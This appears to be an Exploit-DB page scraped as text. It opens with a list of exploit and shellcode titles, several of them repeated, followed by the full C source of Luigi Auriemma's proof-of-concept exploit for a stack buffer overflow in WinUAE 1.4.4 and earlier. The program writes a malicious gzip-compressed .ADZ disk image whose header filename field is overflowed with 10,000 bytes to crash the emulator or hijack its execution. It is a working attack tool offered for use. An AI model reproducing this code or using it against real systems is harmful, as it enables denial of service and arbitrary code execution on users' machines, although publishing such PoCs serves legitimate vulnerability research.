
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
107 lines
No EOL
2.4 KiB
C
107 lines
No EOL
2.4 KiB
C
// source: https://www.securityfocus.com/bid/26979/info
|
|
|
|
WinUAE is prone to a local stack-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.
|
|
|
|
An attacker can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will result in denial-of-service conditions.
|
|
|
|
This issue affects versions prior to WinUAE 1.4.5.
|
|
|
|
/*
|
|
|
|
by Luigi Auriemma
|
|
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
|
|
|
|
|
|
#define VER "0.1"
|
|
#define BOFSZ 10000 // 1000 + 8192 + the rest
|
|
#define BUFFSZ (BOFSZ + 32)
|
|
#define u8 unsigned char
|
|
|
|
|
|
|
|
int putsc(u8 *data, int chr, int len);
|
|
int putxx(u8 *data, unsigned num, int bits);
|
|
void std_err(void);
|
|
|
|
|
|
|
|
int main(int argc, char *argv[]) {
|
|
FILE *fd;
|
|
u8 *fname,
|
|
*buff,
|
|
*p;
|
|
|
|
setbuf(stdout, NULL);
|
|
|
|
fputs("\n"
|
|
"WinUAE <= 1.4.4 gunzip buffer-overflow "VER"\n"
|
|
"by Luigi Auriemma\n"
|
|
"e-mail: aluigi@autistici.org\n"
|
|
"web: aluigi.org\n"
|
|
"\n", stdout);
|
|
|
|
if(argc < 2) {
|
|
printf("\n"
|
|
"Usage: %s <output.ADZ>\n"
|
|
"\n", argv[0]);
|
|
exit(1);
|
|
}
|
|
|
|
fname = argv[1];
|
|
|
|
buff = malloc(BUFFSZ);
|
|
if(!buff) std_err();
|
|
|
|
p = buff;
|
|
p += putxx(p, 0x1f, 8); // header[0]
|
|
p += putxx(p, 0x8b, 8); // header[1]
|
|
p += putxx(p, 0x00, 8); // header[2]
|
|
p += putxx(p, 0x08, 8); // flags
|
|
p += putsc(p, 0x00, 6); // rest of the header
|
|
p += putsc(p, 'A', BOFSZ); // filename buffer-overflow
|
|
p += putxx(p, 0, 8); // NULL byte delimiter
|
|
p += putxx(p, -1, 32); // force the return
|
|
|
|
printf("- create file %s\n", fname);
|
|
fd = fopen(fname, "wb");
|
|
if(!fd) std_err();
|
|
fwrite(buff, 1, p - buff, fd);
|
|
fclose(fd);
|
|
free(buff);
|
|
printf("- done\n");
|
|
return(0);
|
|
}
|
|
|
|
|
|
|
|
int putsc(u8 *data, int chr, int len) {
|
|
memset(data, chr, len);
|
|
return(len);
|
|
}
|
|
|
|
|
|
|
|
int putxx(u8 *data, unsigned num, int bits) {
|
|
int i,
|
|
bytes;
|
|
|
|
bytes = bits >> 3;
|
|
|
|
for(i = 0; i < bytes; i++) {
|
|
data[i] = (num >> (i << 3)) & 0xff;
|
|
}
|
|
return(bytes);
|
|
}
|
|
|
|
|
|
|
|
void std_err(void) {
|
|
perror("\nError");
|
|
exit(1);
|
|
} |